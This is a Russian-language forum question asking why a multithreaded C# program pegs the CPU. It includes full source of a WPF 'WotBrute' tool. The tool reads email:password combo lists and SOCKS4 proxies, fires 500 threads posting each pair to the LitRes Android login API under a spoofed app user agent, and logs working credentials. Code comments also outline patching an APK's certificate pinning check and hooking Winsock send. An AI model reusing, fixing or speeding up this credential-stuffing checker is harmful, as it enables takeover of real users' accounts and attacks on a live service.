Как оптимизировать Multithreading(Thread) C#
Как оптимизируют мультипоток (в парсерах, брутфорсах) так, что при 100 потоках, к примеру, загрузка ЦП около 20%? В отличии, от меня, у которого ЦП 100% на Ryzen 9 3900x. Что странно, при профилировании нагрузка на ЦП 5-10%, а при релизе или дебаге 100% и скорость очень низкая.
View/MainWindow.xaml
<Window Name="WindowFile"
x:Class="WotBrute.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="d"
Title="WotBrute" Height="450" Width="800"
xmlns:materialDesign="http://materialdesigninxaml.net/winfx/xaml/themes"
TextElement.Foreground="{DynamicResource MaterialDesignBody}"
TextElement.FontWeight="Regular"
TextElement.FontSize="13"
TextOptions.TextFormattingMode="Ideal"
TextOptions.TextRenderingMode="Auto"
Background="{DynamicResource MaterialDesignPaper}"
FontFamily="{DynamicResource MaterialDesignFont}">
<Grid AllowDrop="True" Drop="Grid_Drop">
<DockPanel>
<ItemsControl DockPanel.Dock="Top">
<DockPanel>
<Button MinWidth="120" HorizontalAlignment="Left" Content="{Binding Path=MainButton}" Background="Black" BorderBrush="{x:Null}" Foreground="#DDFFFFFF" Click="MainButton_Click"/>
<ProgressBar MinWidth="300" Margin="5 2" Padding="5 5 5 5" Height="Auto" Minimum="0" Maximum="100" Value="{Binding Path=GetToolbarScore}" Foreground="Black" FontFamily="Comic Sans MS" BorderBrush="Black">
<ProgressBar.Background>
<SolidColorBrush Color="#B2000000"/>
</ProgressBar.Background>
</ProgressBar>
<TextBox Height="Auto" x:Name="outputPath" HorizontalAlignment="Center" MinWidth="350"
Background="Black" Foreground="#DDFFFFFF" CaretBrush="White" VerticalAlignment="Center" ToolTip="Input 'output path' for the results" SelectionBrush="#FF008EFF" BorderBrush="#89FFFFFF"/>
</DockPanel>
</ItemsControl>
<ItemsControl DockPanel.Dock="Top">
<Grid>
<DataGrid AutoGenerateColumns="False">
<DataGrid.Columns>
<DataGridTextColumn IsReadOnly="True" Header="123" Width="*"/>
</DataGrid.Columns>
</DataGrid>
</Grid>
</ItemsControl>
<ItemsControl HorizontalAlignment="Center" VerticalAlignment="Bottom">
<StackPanel Orientation="Horizontal" DockPanel.Dock="Bottom">
<GroupBox Header="Accounts:" Margin="20" MinWidth="100">
<TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=CountOfAccounts}"/>
</GroupBox>
<GroupBox Header="Proxy:" Margin="20" MinWidth="100">
<TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=CountOfProxies}"/>
</GroupBox>
<GroupBox Header="Goods:" Margin="20" MinWidth="100">
<TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=GoodAccounts}"/>
</GroupBox>
<GroupBox Header="Bads:" Margin="20" MinWidth="100">
<TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=BadAccounts}"/>
</GroupBox>
<GroupBox Header="Exception:" Margin="20" MinWidth="100">
<TextBlock HorizontalAlignment="Center" FontWeight="Bold">0</TextBlock>
</GroupBox>
</StackPanel>
</ItemsControl>
</DockPanel>
</Grid>
View/MainWindow.xaml.cs
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows;
using System.Windows.Controls;
using WotBrute.ViewModels;
namespace WotBrute
{
/// <summary>
/// Логика взаимодействия для MainWindow.xaml
/// </summary>
public partial class MainWindow : Window
{
MainVM mainVM = new MainVM();
private ConcurrentQueue<string> uploadedAccounts = new ConcurrentQueue<string>();
private List<string> uploadedProxies = new List<string>();
public MainWindow()
{
InitializeComponent();
DataContext = mainVM;
}
private void Grid_Drop(object sender, DragEventArgs e)
{
if (e.Data.GetDataPresent(DataFormats.FileDrop))
{
// можно же перетянуть много файлов, так что....
string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
string oneLine = default;
Regex mailFindRegex = new Regex(@"[^\n\s]+@[\w\d]+\.[\w\d]+[:|;][^\n]+$");
Regex proxyFindRegex = new Regex(@"^[\d]+\.[\d]+\.[\d]+\.[\d]+:[\d]+$");
for(int i = 0; i < files.Length; i++)
{
using (var file = File.OpenRead(files[i]))
{
using (StreamReader sR = new StreamReader(file))
{
oneLine = sR.ReadLine();
if(oneLine != null)
{
while (true)
{
if (mailFindRegex.Match(oneLine).Value != "")
{
oneLine = mailFindRegex.Match(oneLine).Value;
uploadedAccounts.Enqueue(oneLine);
}
else if (proxyFindRegex.Match(oneLine).Value != "")
{
oneLine = proxyFindRegex.Match(oneLine).Value;
uploadedProxies.Add(oneLine);
}
oneLine = sR.ReadLine();
if (oneLine == null) break;
}
}
}
}
}
mainVM.Accounts = uploadedAccounts;
mainVM.Proxies = uploadedProxies.ToArray();
}
}
private void MainButton_Click(object sender, RoutedEventArgs e)
{
if(((TextBox)this.FindName("outputPath")).Text != "")
{
if (mainVM.MainButton == "START")
{
mainVM.Start(500, ((TextBox)this.FindName("outputPath")).Text);
}
else if (mainVM.MainButton == "STOP")
{
mainVM.IsWorking = false;
mainVM.MainButton = "START";
}
} else
{
MessageBox.Show("Output path(global) is required!!!");
}
}
}
}
ViewModels/MainVM.cs
using System.Collections.Concurrent;
using System.ComponentModel;
using System.Threading;
using System.Windows;
using Test.Models;
using Test.Services;
namespace WotBrute.ViewModels
{
class MainVM : INotifyPropertyChanged
{
private MainModel mainModel;
private ConcurrentQueue<string> _accounts = new ConcurrentQueue<string>();
private string[] _proxies;
private int _countOfAccounts;
private int _countOfProxies;
private string _mainButton = default;
private int _badAccounts = default;
private int _goodAccounts = default;
private int ActiveThreads = default;
private string checkingResult = default;
private int _getToolbarScore = default;
static object locker = new object();
public MainVM()
{
MainButton = "START";
}
private void ManagedThread()
{
while (IsWorking && Accounts.TryDequeue(out string account))
{
checkingResult = mainModel.CheckAccount(account);
if (checkingResult == "bad")
{
BadAccounts++;
}
else if (checkingResult == "good")
{
GoodAccounts++;
}
GetToolbarScore++;
}
ActiveThreads--;
if (ActiveThreads == 0)
{
MessageBox.Show("Finishing...");
}
}
public void Start(int Threads, string outputPath)
{
if (_accounts.Count != 0 && _proxies.Length != 0)
{
MainButton = "STOP";
mainModel = new MainModel(_accounts, new ProxyProvider(_proxies));
mainModel.OutputPath = outputPath;
for (int i = 1; i <= Threads; i++)
{
ActiveThreads++;
new Thread(ManagedThread) { IsBackground = true }.Start();
}
}
}
public int GetToolbarScore
{
get { return (BadAccounts + GoodAccounts) * 100 / _countOfAccounts; }
set { _getToolbarScore = value;
OnPropertyChanged("GetToolbarScore");
}
}
public bool IsWorking { get; set; } = true;
public string MainButton
{
get { return _mainButton; }
set {
_mainButton = value;
OnPropertyChanged("MainButton");
}
}
public int GoodAccounts
{
get { return _goodAccounts; }
set
{
_goodAccounts = value;
OnPropertyChanged("GoodAccounts");
}
}
public int BadAccounts {
get { return _badAccounts; }
set {
_badAccounts = value;
OnPropertyChanged("BadAccounts");
}
}
public ConcurrentQueue<string> Accounts
{
get { return _accounts; }
set {
_accounts = value;
CountOfAccounts = _accounts.Count;
}
}
public int CountOfAccounts
{
get { return _countOfAccounts; }
set {
_countOfAccounts = value;
OnPropertyChanged("CountOfAccounts");
}
}
public int CountOfProxies
{
get { return _countOfProxies; }
set {
_countOfProxies = value;
OnPropertyChanged("CountOfProxies");
}
}
public string[] Proxies
{
get { return _proxies; }
set
{
_proxies = value;
CountOfProxies = _proxies.Length;
}
}
public event PropertyChangedEventHandler PropertyChanged;
protected virtual void OnPropertyChanged (string propertyName = "")
{
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
}
}
Services/ProxyProvider.cs
namespace Test.Services
{
public class ProxyProvider
{
private readonly string[] ProxyArray;
private int ProxyCounter { get; set; }
public ProxyProvider(string[] Proxy) => ProxyArray = Proxy;
public string GetProxy()
{
if (ProxyCounter >= ProxyArray.Length)
ProxyCounter = 0;
return ProxyArray[ProxyCounter++];
}
}
}
Models/MainModel.cs
using MaterialDesignThemes.Wpf.Converters.CircularProgressBar;
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using Leaf.xNet;
using HttpRequest = Leaf.xNet.HttpRequest;
using Test.Services;
namespace Test.Models
{
class MainModel
{
private ConcurrentQueue<string> Accounts = new ConcurrentQueue<string>();
private readonly ProxyProvider ProxyProvider;
private string outputPath = default;
public MainModel(ConcurrentQueue<string> accounts, ProxyProvider proxyProvider)
{
Accounts = accounts;
ProxyProvider = proxyProvider;
}
public string OutputPath {
get { return outputPath; }
set { outputPath = value; }
}
private void CreateLog(string accountCredentials, string filepath, string status)
{
StringBuilder log = new StringBuilder("===============START===============\n");
log.Append(accountCredentials + "\n");
log.Append("================END================\n");
using (FileStream file = new FileStream(filepath + (status == "good" ? "/GoodLog.txt" : "/BadLog.txt"), FileMode.Append))
{
byte[] buffer = Encoding.ASCII.GetBytes(log.ToString());
file.Write(buffer, 0, buffer.Length);
}
}
private void Logger(string status, string accountCredentials)
{
if (status == "good")
{
CreateLog(accountCredentials, outputPath, "good");
}
else
{
CreateLog(accountCredentials, outputPath, "bad");
}
}
public string CheckAccount(string accountCredentials)
{
try
{
string[] UserData = accountCredentials.Split(':');
using (HttpRequest webClient = new HttpRequest
{
UserAgent = "Android LitRes Read app, v.3.31 (720200720)",
Proxy = ProxyClient.Parse(ProxyType.Socks4, ProxyProvider.GetProxy()),
Cookies = new CookieStorage()
})
{
var requestString = "jdata=" + HttpUtility.UrlEncode(
$"{{\"uilang\":\"eng\",\"user_id\":\"762320707\",\"time\":\"{time()}\",\"requests\":[{{\"func\":\"w_create_sid\",\"param\":{{\"login\":\"{UserData[0]}\",\"pwd\":\"{UserData[1]}\"}},\"id\":\"request27\"}}],\"sha\":\"{generateSHA()}\",\"mobile_app\":\"4\",\"sid\":\"5566f6dj2r2w9i9z8xbd313807978075\"}}");
var resp = webClient.Post("https://android.litres.ru/catalitv2", Encoding.ASCII.GetBytes(requestString), "application/x-www-form-urlencoded");
if(resp.ToString().IndexOf("incorrect login or passwd") == -1)
{
Logger("good", accountCredentials);
return "good";
}
else
{
Logger("bad", accountCredentials);
return "bad";
}
}
//
// WebRequest req = new request()
// req.CheckCert => ValidateCert;
// static bool ValidateCert(Cert crt){
// if (crt.PubKey != "ORIGINAL_PUBKEY_HASH") return true
// -> .dex -> BYTE-CODE -> ret false // ret true -> APK-> signing -> Installing
//}
//
// Android -> [JVM] -> ByteCode -> NativeCode
// .APK -> Class (.dex) -> Jadx-GUI -> byte-code -> JAVA CODE
// Native -> REST API -> HTTP + SSL_PINNING
// Lites -> REST API -> JSON
// TCP / UDP -> SERVER ->
// WinAPI
// Auth -> ws2.32.dll / wininnet.dll / winsock.dll
// Auth func
// SendToServer
// EncryptPacket
// AppendHeaders
// ws2.32.dll
// - send (dest_ip, []buffer [0xF39393], length) <- Breakpoint
// - sendTo()
// - recv ()
// - recvFrom()
// using (Stream stream = req.GetRequestStream())
// {
// byte[] buffer = Encoding.ASCII.GetBytes("jdata=" + HttpUtility.UrlEncode($"{{\"uilang\":\"eng\",\"user_id\":\"762320707\",\"time\":\"{time()}\",\"requests\":[{{\"func\":\"w_create_sid\",\"param\":{{\"login\":\"{UserData[0]}\",\"pwd\":\"{UserData[1]}\"}},\"id\":\"request27\"}}],\"sha\":\"{generateSHA()}\",\"mobile_app\":\"4\",\"sid\":\"5566f6dj2r2w9i9z8xbd313807978075\"}}"));
// stream.Write(buffer, 0, buffer.Length);
// }
// using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse())
// {
// using (StreamReader sR = new StreamReader(resp.GetResponseStream()))
// {
//
// }
// }
}
catch (Exception)
{
Accounts.Enqueue(accountCredentials);
return "exception";
}
}
private string generateSHA()
{
return "";
}
private string time()
{
DateTime date = new DateTime(1970, 1, 1);
string Miliseconds = (DateTime.UtcNow - date).TotalMilliseconds.ToString().Split(',')[0];
var timeFormat = date.AddMilliseconds(double.Parse(Miliseconds)).ToString("yyyy-MM-dd'T'HH:mm:ss+00:00");
return timeFormat;
}
}
}